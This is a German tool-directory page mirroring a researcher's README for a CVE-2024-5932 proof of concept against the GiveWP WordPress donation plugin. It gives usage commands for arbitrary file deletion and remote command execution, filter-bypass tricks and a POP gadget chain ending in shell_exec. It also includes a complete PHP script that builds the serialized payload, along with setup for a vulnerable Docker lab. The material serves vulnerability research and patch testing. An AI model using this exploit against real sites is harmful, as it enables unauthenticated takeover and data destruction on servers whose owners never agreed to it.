Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-5932 — GiveWP PHP Object Injection exploit | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2024-5932
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubeqstlab/cve-2024-5932

CVE-2024-5932

GiveWP PHP Object Injection exploit

Repository anzeigen
7810vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab.

❗❗ WICHTIG ❗❗

Es gibt derzeit gefälschte PoC-GitHub-Repositories, die xmrig ausführen. Weitere Informationen finden Sie unter den folgenden Links:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 PoC für beliebige Dateilöschung und Remotecodeausführung ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

Zeitplan

25. Aug. : CVE-2024-5932 PoC für Dateilöschung hochgeladen

26. Aug. : Wir haben mit CVE-2024-5932 erfolgreich beliebige Befehle ausgeführt, überlegen aber aufgrund der Auswirkungen, ob wir die Informationen veröffentlichen sollen.

27. Aug. : Wir fanden eine detaillierte Analyse des PoC in einem Beitrag von Julien Ahrens von RCE Security und beschlossen, unseren RCE PoC zu veröffentlichen. Wir haben einen zusätzlichen RCE PoC als CVE-2024-5932-rce.py hochgeladen.

Beschreibung

CVE-2024-5932: GiveWP PHP-Object-Injection-Schwachstelle Beschreibung: Das GiveWP-Plugin für Spenden und Fundraising für WordPress ist in allen Versionen bis einschließlich 3.14.1 anfällig für PHP-Object-Injection durch Deserialisierung nicht vertrauenswürdiger Eingaben des Parameters 'give_title'. Dies ermöglicht es nicht authentifizierten Angreifern, ein PHP-Objekt zu injizieren. Das Vorhandensein einer zusätzlichen POP-Kette ermöglicht es Angreifern, Code remote auszuführen und beliebige Dateien zu löschen.

Verwendung

Git klonen

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Pakete installieren

root@kitploit:~
pip install -r requirements.txt

Befehl

root@kitploit:~
# Beliebige Dateilöschung
python CVE-2024-5932.py -u <URL_ZUM_AUSNUTZEN(Spendenformular-URL)> -f <DATEI_ZUM_LÖSCHEN>
# Remotecodeausführung
python CVE-2024-5932-rce.py -u <URL_ZUM_AUSNUTZEN(Spendenformular-URL)> -c <AUSZUFÜHRENDER_BEFEHL>

Beispiel

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Ausgabe

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

Ergebnis

image 2

Anfällige Umgebung

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Dann das anfällige GiveWP-Plugin herunterladen:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Die GiveWP-Plugin-Zip-Datei entpacken und die gesamte Datei in das Verzeichnis „/var/www/html/wp-content/plugins“ kopieren.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Das GiveWP-Plugin aktivieren

image

5. Neuen Beitrag mit GiveWP-Plugin hinzufügen und den Beitragslink kopieren

image

6. Den anfälligen Link überprüfen

image

(Optional) Die Zieldatei in der Docker-Umgebung einrichten

Zuerst mit folgendem Befehl auf die WordPress-Shell zugreifen:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

Wenn die Datei root gehört, kann sie aufgrund von Berechtigungen möglicherweise nicht gelöscht werden. Daher muss der Besitzer der Testdatei mit folgendem Befehl geändert werden:

root@kitploit:~
touch test && chown www-data test

image

Debuggen mit PHPSTORM

Sie können Ihr GiveWP mit PHPSTORM debuggen.

1. xdebug in Ihrem WordPress (Docker) herunterladen:

root@kitploit:~
pecl install xdebug

2. Anschließend die php.ini-Datei von WordPress wie folgt einrichten (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..Danach können Sie Ihr WordPress debuggen.

3. PHPSTORM wie folgt einrichten (Lokal):

image image

4. PHPSTORM-Beispiel (z. B. TCPDF beliebige Dateilöschung)

image

Analyse

Anfälliger Punkt (includes/payments/class-give-payment.php)

An diesem Punkt deserialisiert die Funktion get_meta() den zuvor gespeicherten Wert „give_title“.

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Bypass-Technik

strip_tags: Nullbytes ersetzen -> \0 verwenden

stripslashes_deep: Backslashes ersetzen -> \\\\ verwenden

POP-Verkettung für RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Gibt Befehlszeichenkette zurück)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Angriffsszenario

RCE durch POP-Kette

Die POP-Kette ermöglicht die Remotebefehlsausführung. image

Beliebige Dateilöschung

Mit TCPDF kann die beliebige Dateilöschung ausgenutzt werden.

Haftungsausschluss

Dieses Repository ist nicht als Ausnutzung der Objektinjektion von CVE-2024-5932 gedacht. Der Zweck dieses Projekts ist es, Menschen dabei zu helfen, mehr über diese Schwachstelle zu erfahren und möglicherweise ihre eigenen Anwendungen zu testen.

EQST Insight

Wir veröffentlichen einmal im Monat CVE- und Malware-Analysen. Wenn Sie interessiert sind, folgen Sie bitte den untenstehenden Links, um unsere Veröffentlichungen zu sehen. https://www.skshieldus.com/eng/business/insight.do

Referenz

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

Tool herunterladen